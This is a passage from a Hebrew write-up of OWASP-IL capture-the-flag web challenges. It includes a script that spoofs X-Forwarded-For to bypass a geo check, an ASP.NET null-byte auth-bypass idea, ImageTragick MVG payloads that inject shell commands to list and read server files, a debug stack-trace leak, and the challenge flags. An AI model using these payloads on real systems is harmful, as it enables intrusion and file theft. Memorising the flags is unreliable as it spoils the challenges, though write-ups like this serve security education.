נמצאים מאחורי פרוקסי, או אפילו להשתמש בכתובת של פרוקסי כפי שנעשה פה).</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ראשית צריך למצוא
רשימת פרוקסים ממדינות שונות.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הרשימה שמצאתי הייתה
בנויה בפורמט הבא:</span></p>
```
201.20.99.10:3130 Brazil
90.161.42.152:40057 Spain
92.38.45.57:42273 Russia
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הקוד בסך הכל צריך
לחפש פרוקסי מתאים לפי הדרישה של האתר, ולכלול אותו ב-</span><span lang=EN-US
dir=LTR>Header</span><span dir=RTL></span><span lang=HE style='font-family:
"Arial",sans-serif'><span dir=RTL></span> של בקשת ה-</span><span lang=EN-US
dir=LTR>HTTP</span><span dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הקוד:</span></p>
```python
import requests, re
ip_table = {}
with open("proxy.txt") as f:
for line in f:
line = line.rstrip()
ip, country = line.split("\t")
ip_table[country.lower()] = ip.split(":")[0]
s = requests.Session()
country_regex = re.compile("In order to get the flag you must to serve from ([^(]+) \(")
url = 'http://challenges.owaspil.ctf.today:8094/'
headers = None
text = ""
while "OWASP" not in text:
r = s.get(url, headers = headers)
print (r.text)
text = r.text
match = country_regex.search(r.text)
if match:
country = match.group(1).lower()
headers = {'X-Forwarded-For': ip_table[country]}
else:
print("No match for {}!".format(r.text))
break
```
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt'><span
lang=EN-US style='font-size:10.0pt;line-height:107%;font-family:"Courier New"'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הדגל:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><b><span lang=EN-US dir=LTR>OWASP-IL{Wh0RuNTh3World?}</span></b></p>
<b><span lang=EN-US style='font-size:11.0pt;line-height:107%;font-family:"Calibri",sans-serif'><br
clear=all style='page-break-before:always'>
</span></b>
<p class=MsoNormal><b><span lang=EN-US> </span></b></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 7 </span><span
lang=HE style='font-family:"Arial",sans-serif'>–</span><span lang=HE
style='font-family:"Times New Roman",serif'> </span><span lang=EN-US dir=LTR>LazyAdmin</span><span
dir=RTL></span><span lang=HE style='font-family:"Times New Roman",serif'><span
dir=RTL></span> (רמת קושי בינונית, 350 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p><span lang=en-IL>Do you think that you can login with administrator
privileges in order to retrieve the flag? :)</span></p>
<p><span lang=en-IL>user:password</span></p>
<p><span lang=en-IL>URL: <span class=MsoHyperlink><b><a
href="http://challenges.owaspil.ctf.today:8084/">http://challenges.owaspil.ctf.today:8084/</a></b></span></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ובכן, התשובה היא
שלא... או במילים אחרות, את האתגר הזה לא הצלחתי לפתור. </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>בכל זאת, אתן כיוון
מסוים שנראה לי הגיוני.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>האתר עצמו מכיל טופס
כניסה:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=224
height=115 id="Picture 51" src="images/image024.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כניסה עם שם המשתמש
והסיסמא שסופקו מביאה אותנו אל הדף הבא:</span></p>
<p class=MsoNormal><span lang=en-IL>Only administrators can see the flag!</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כאמור, לא מצאתי
חולשה באתר, למרות שהכיוון שהגעתי אליו נראה לי הגיוני.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ה-</span><span
lang=EN-US dir=LTR>Headers</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> שחוזרים מהשרת עבור
כל בקשה כוללים את המידע הבא:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=166
height=63 id="Picture 52" src="images/image025.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>באופן כללי, זה נחשב
בתור רעיון רע, כי אפשר לקחת את הפרטים הללו ולחפש חולשות ידועות. ולמעשה, אם
מחפשים את הגרסה הזו של </span><span lang=EN-US dir=LTR>AspNet</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>, מגיעים ל</span><span class=MsoHyperlink><span lang=EN-US><a
href="https://packetstormsecurity.com/files/111277/Microsoft-ASP.NET-Forms-Authentication-Bypass.html"><span
lang=HE style='font-family:"Arial",sans-serif'>חולשה אחת בולטת של </span><span
dir=LTR>Authentication Bypass</span></a></span></span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>!</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>על רגל אחת, הרעיון
הוא שאם שולחים שם משתמש עם תו </span><span lang=EN-US dir=LTR>Null</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> באמצע, למשל </span><span dir=LTR></span><span lang=EN-US
dir=LTR><span dir=LTR></span>“Admin\0AAA”</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>, עקב
החולשה יכול להווצר מצב שבו המערכת טועה ומאמתת את המשתמש בתור שם המשתמש שלפני ה-</span><span
lang=EN-US dir=LTR>Null</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>, כלומר </span><span
lang=EN-US dir=LTR>Admin</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>למרבה הצער, לא
הצלחתי לנצל את החולשה הזו (ולמעשה, בדף החולשה מתוארים כמה תנאים נוספים שיש
לעמוד בהם, כמו למשל היכולת להירשם לאתר עם שם משתמש בשליטת התוקף). או שאולי פשוט
לא הצלחתי לשלוח תו </span><span lang=EN-US dir=LTR>Null</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> כמו שצריך.
יהיה מעניין לראות זה היה הכיוון הנכון.</span></p>
<span lang=HE dir=RTL style='font-size:11.0pt;line-height:107%;font-family:
"Arial",sans-serif'><br clear=all style='page-break-before:always'>
</span>
<p class=MsoNormal><span lang=HE dir=RTL style='font-size:13.0pt;line-height:
107%;font-family:"Times New Roman",serif;color:#2F5496'> </span></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 8 - </span><span
lang=EN-US dir=LTR>Image converter</span><span dir=RTL></span><span lang=HE
style='font-family:"Times New Roman",serif'><span dir=RTL></span> (רמת קושי
בינונית, 350 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p><span lang=en-IL>My magical tool can help you to convert pictures to PNG!</span></p>
<p><span lang=en-IL>URL: <span class=MsoHyperlink><b><a
href="http://challenges.owaspil.ctf.today:8090/">http://challenges.owaspil.ctf.today:8090/</a></b></span></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כניסה לאתר מציגה את
הממשק הבא להמרת תמונות:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=305
height=235 id="Picture 25" src="images/image026.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר והממשק
מקפידים לדבר על "קסם", רמז ברור ל-</span><span dir=LTR></span><span
lang=HE dir=LTR><span dir=LTR></span> </span><span lang=EN-US dir=LTR>I</span><span
lang=en-IL dir=LTR>mage</span><span lang=EN-US dir=LTR>M</span><span
lang=en-IL dir=LTR>agick</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>(כלי יחסית סטנדרטי
להמרת ועריכת תמונות).</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>לכן, התחלתי לחפש
בגוגל חולשות של כלי הזה, והגעתי מיד למשפחת חולשות בשם </span><span
class=MsoHyperlink><span lang=EN-US><a href="https://imagetragick.com/"><span
dir=LTR>ImageTragick</span></a></span></span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>החולשות המתוארות
בדף ההוא מאפשרות בין השאר להריץ קוד ולקרוא קבצים, בדיוק מה שאנחנו צריכים.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>מתוך הדף:</span></p>
<p class=MsoQuote><span lang=en-IL>The most dangerous part is ImageMagick
supports several formats like svg, mvg (thanks to </span><span lang=en-IL
style='font-style:normal'>Stewie</span><span lang=en-IL> for his research of
this file format and idea of the local file read vulnerability in ImageMagick,
see below), maybe some others - which allow to include external files from any
supported protocol including delegates.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>למזלנו, אחד
הפורמטים שהאתר שלנו תומך בו הוא </span><span lang=en-IL dir=LTR>MVG</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>!</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>נייצר קובץ </span><span
lang=EN-US dir=LTR>MVG</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span> זדוני לפי ההוראות,
ונעלה לאתר:</span></p>
```svg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls -la>/tmp/e1.txt;")'
pop graphic-context
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>האתר מסכים לקבל את
הקובץ הזה, ומציע להוריד חזרה את התוצאה בכתובת </span><span class=MsoHyperlink><span
lang=EN-US><a
href="http://challenges.owaspil.ctf.today:8090/uploads/tmpdmalOL.png"><span
dir=LTR>http://challenges.owaspil.ctf.today:8090/uploads/tmpdmalOL.png</span></a></span></span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>מדובר בקובץ תמונה
ריק (תמונה לבנה). למרבה המזל, אם ננסה לגשת ל-</span><span lang=EN-US dir=LTR>e1.txt</span><span
dir=RTL></span><span lang=EN-US style='font-family:"Arial",sans-serif'><span
dir=RTL></span> </span><span lang=HE style='font-family:"Arial",sans-serif'>(שיצרנו
באמצעות החולשה) מתוך תיקיית </span><span lang=EN-US dir=LTR>uploads</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>, נקבל את התוכן שרצינו:</span></p>
```
total 20
dr-xr-xr-x 1 root root 4096 Aug 29 13:52 .
drwxr-xr-x 1 root root 4096 Aug 29 13:52 ..
-r-xr-xr-x 1 root root 3663 Aug 27 10:40 app.py
-r-xr-xr-x 1 root root 14 Aug 27 10:40 requirements.txt
dr-xr-xr-x 1 root root 4096 Aug 29 13:52 templates
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כעת ניתן לקרוא את
הקובץ </span><span lang=EN-US dir=LTR>app.py</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>, למשל, </span><span
lang=HE style='font-family:"Arial",sans-serif'>בעזרת פקודה אחרת:</span></p>
```svg
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@app.py'
pop graphic-context
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>התוצאה:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=425
height=319 id="Picture 26" src="images/image027.jpg"
alt="http://challenges.owaspil.ctf.today:8090/uploads/tmpxuig5e.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>(זוהי לא תמונת מסך,
אלא התמונה עצמה שנוצרה מתהליך ההמרה! הטקסט מוטמע בתמונה על ידי השרת. בפועל,
התמונה קטנה מדי בשביל להכיל את כל הקוד של </span><span lang=EN-US dir=LTR>app.py</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span>, ולכן אפשר להשתמש בשיטה הראשונה כדי לקבל את הקוד כולו כקובץ
טקסט. אולם, הדגל לא נמצא שם).</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כעת ננסה לסייר בעץ
התיקיות באמצעות הפקודה הבאה:</span></p>
```svg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls -alR />/tmp/e2.txt;")'
pop graphic-context
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>התוצאה היא מבנה
התיקיות השלם של השרת. </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>למשל:</span></p>
```
/:
total 1208
drwxr-xr-x 1 root root 4096 Aug 29 13:52 .
drwxr-xr-x 1 root root 4096 Aug 29 13:52 ..
-rwxr-xr-x 1 root root 0 Aug 29 13:52 .dockerenv
dr-xr-xr-x 1 root root 4096 Aug 29 13:52 app
drwxr-xr-x 1 root root 4096 Aug 29 13:45 bin
drwxr-xr-x 2 root root 4096 Jun 26 12:03 boot
drwxr-xr-x 5 root root 340 Sep 4 18:54 dev
drwxr-xr-x 1 root root 4096 Aug 29 13:52 etc
-r-xr-xr-x 1 root root 23 Aug 29 12:17 flag.txt
drwxr-xr-x 1 root root 4096 Aug 29 13:52 home
drwxr-xr-x 1 root root 4096 Aug 29 13:45 lib
drwxr-xr-x 2 root root 4096 Jul 16 00:00 lib64
drwxr-xr-x 2 root root 4096 Jul 16 00:00 media
drwxr-xr-x 2 root root 4096 Jul 16 00:00 mnt
drwxr-xr-x 2 root root 4096 Jul 16 00:00 opt
dr-xr-xr-x 305 root root 0 Sep 4 18:54 proc
drwx------ 1 root root 4096 Aug 29 13:52 root
drwxr-xr-x 3 root root 4096 Jul 16 00:00 run
drwxr-xr-x 2 root root 4096 Jul 16 00:00 sbin
drwxr-xr-x 2 root root 4096 Jul 16 00:00 srv
dr-xr-xr-x 13 root root 0 Sep 5 07:14 sys
drwxrwxrwt 1 root root 1155072 Sep 24 07:59 tmp
drwxr-xr-x 1 root root 4096 Jul 16 00:00 usr
drwxr-xr-x 1 root root 4096 Jul 16 00:00 var
/app:
total 20
dr-xr-xr-x 1 root root 4096 Aug 29 13:52 .
drwxr-xr-x 1 root root 4096 Aug 29 13:52 ..
-r-xr-xr-x 1 root root 3663 Aug 27 10:40 app.py
-r-xr-xr-x 1 root root 14 Aug 27 10:40 requirements.txt
dr-xr-xr-x 1 root root 4096 Aug 29 13:52 templates
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>נשתמש באחת השיטות
כדי לקרוא את </span><span lang=EN-US dir=LTR>flag.txt</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span> ונקבל:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><b><span lang=EN-US dir=LTR>OWASP-IL{Im4g3Tr4g1ck}</span></b></p>
<b><span lang=EN-US style='font-size:11.0pt;line-height:107%;font-family:"Calibri",sans-serif'><br
clear=all style='page-break-before:always'>
</span></b>
<p class=MsoNormal><b><span lang=EN-US> </span></b></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 9 </span><span
lang=HE style='font-family:"Arial",sans-serif'>–</span><span lang=HE
style='font-family:"Times New Roman",serif'> </span><span lang=EN-US dir=LTR>TheBug</span><span
dir=RTL></span><span lang=HE style='font-family:"Times New Roman",serif'><span
dir=RTL></span> (רמת קושי בינונית, 350 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p><span lang=en-IL>I have a bug in my app that will give away the flag,<br>
I hope you won't find it :\<br>
What you are waiting for go away and find it...</span></p>
<p><span lang=en-IL>URL: <span class=MsoHyperlink><b><a
href="http://challenges.owaspil.ctf.today:8083/">http://challenges.owaspil.ctf.today:8083/</a></b></span></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>פתרון:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>האתר מציג מחשבון
שמאפשר לבצע פעולות חשבוניות בסיסיות:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=483
height=298 id="Picture 27" src="images/image028.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הפעולות מתורגמות
לבקשות </span><span lang=en-IL dir=LTR>GET</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>, למשל עבור
7+2:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span class=MsoHyperlink><span lang=en-IL><a
href="http://challenges.owaspil.ctf.today:8083/?calc=7%2B2"><span dir=LTR>http://challenges.owaspil.ctf.today:8083/?calc=7%2B2</span></a></span></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אם ננסה לשחק עם
הפרמטרים, נקבל את התוצאה הבאה:</span></p>
<div align=right>
<table class=MsoTableGrid dir=ltr border=0 cellspacing=0 cellpadding=0 width="100%"
style='border-collapse:collapse;border:none; margin: 0 auto; width:100%;'>
<tr>
<td width="50%" valign=top style='border:solid windowtext 1.0pt;
border-right:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal dir=RTL style='margin-bottom:0cm;margin-bottom:.0001pt;
text-align:right;line-height:normal;direction:rtl;unicode-bidi:embed'><span
lang=EN-US dir=LTR>http://challenges.owaspil.ctf.today:8083/?calc=test</span></p>
</td>
<td width="50%" valign=top style='border:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal dir=LTR style='margin-bottom:0cm;margin-bottom:.0001pt;
line-height:normal'><span lang=EN-US>Unrecognized variable: 'test</span><span
dir=RTL></span><span lang=HE dir=RTL style='font-family:"Arial",sans-serif'><span
dir=RTL></span>'</span></p>
</td>
</tr>
<tr>
<td width="50%" valign=top style='border-top:none;border-left:
solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:
none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal dir=LTR style='margin-bottom:0cm;margin-bottom:.0001pt;
line-height:normal'><span lang=EN-US>http://challenges.owaspil.ctf.today:8083/?calc</span><span
dir=RTL></span><span lang=HE dir=RTL style='font-family:"Arial",sans-serif'><span
dir=RTL></span>=</span></p>
</td>
<td width="50%" valign=top style='border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal dir=LTR style='margin-bottom:0cm;margin-bottom:.0001pt;
line-height:normal'><span lang=EN-US>Unexpected end found</span></p>
</td>
</tr>
<tr>
<td width="50%" valign=top style='border-top:none;border-left:
solid windowtext 1.0pt;border-bottom:solid windowtext 1.0pt;border-right:
none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal dir=LTR style='margin-bottom:0cm;margin-bottom:.0001pt;
line-height:normal'><span lang=EN-US>http://challenges.owaspil.ctf.today:8083/?calc=1+1</span></p>
</td>
<td width="50%" valign=top style='border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal dir=LTR style='margin-bottom:0cm;margin-bottom:.0001pt;
line-height:normal'><span lang=EN-US>Unexpected character found: '1' at index
2</span></p>
</td>
</tr>
</table>
</div>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=EN-US dir=LTR> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>חיפוש בגוגל של
השגיאות הללו מגלה את </span><span class=MsoHyperlink><span lang=EN-US><a
href="https://stackoverflow.com/questions/41079379/evaluate-a-model-entered-by-user-as-python-function"><span
lang=HE style='font-family:"Arial",sans-serif'>הדף הזה</span></a></span></span><span
lang=HE style='font-family:"Arial",sans-serif'>, שבו אפשר למצוא משהו שנראה כמו
קוד המקור של הספרייה המשמשת לביצוע הפעולות החשבוניות.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ממעבר זריז על הקוד,
קפצה לי לעין הפקודה הבאה (בעיקר בגלל ההדפסה):</span></p>
```python
raise Exception("Division by 0 kills baby whales (occured at index " +
str(div_index) + ")")
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>זה נשמע כמו משהו
שכדאי לנסות.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ואכן, התוצאה לא
אכזבה (בתקווה שאף בעל חיים לא נפגע במהלך הניסוי): </span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=602 height=195
id="Picture 28" src="images/image029.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הפעם, אם ננסה
להקליק על הסמל של ה-</span><span lang=EN-US dir=LTR>Console</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> על מנת להריץ קוד, נקבל את ההודעה הבאה:</span></p>
<p class=MsoNormal align=center dir=RTL style='text-align:center;direction:
rtl;unicode-bidi:embed'><span lang=en-IL dir=LTR><img border=0 width=470
height=251 id="Picture 29" src="images/image030.png"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>למזלנו, זה לא מפריע
כי הדגל נמצא ב-</span><span lang=EN-US dir=LTR>stack trace</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>:</span></p>
<p class=MsoNormal dir=RTL align=center style='text-align:center;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR><img border=0 width=602 height=184
id="Picture 30" src="images/image031.jpg"></span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הדגל:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><b><span lang=EN-US dir=LTR>OWASP-IL{L3ts_M4k3_Err0rs_Gr34t_Again}</span></b></p>
<b><span lang=EN-US style='font-size:11.0pt;line-height:107%;font-family:"Calibri",sans-serif'><br
clear=all style='page-break-before:always'>
</span></b>
<p class=MsoNormal><b><span lang=EN-US> </span></b></p>
<h2 dir=RTL style='text-align:right;direction:rtl;unicode-bidi:embed'><span
lang=HE style='font-family:"Times New Roman",serif'>אתגר 10 </span><span
lang=HE style='font-family:"Arial",sans-serif'>–</span><span lang=HE
style='font-family:"Times New Roman",serif'> </span><span lang=EN-US dir=LTR>TheCode</span><span
dir=RTL></span><span lang=HE style='font-family:"Times New Roman",serif'><span
dir=RTL></span> (רמת קושי בינונית, 400 נקודות)</span></h2>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>הוראות האתגר:</span></p>
<p><span lang=en-IL>I can't believe I forgot the username and password!<br>
I have piece of the code maybe you can help me hack my own website?</span></p>
<p><span lang=en-IL>URL: <span class=MsoHyperlink><b><a
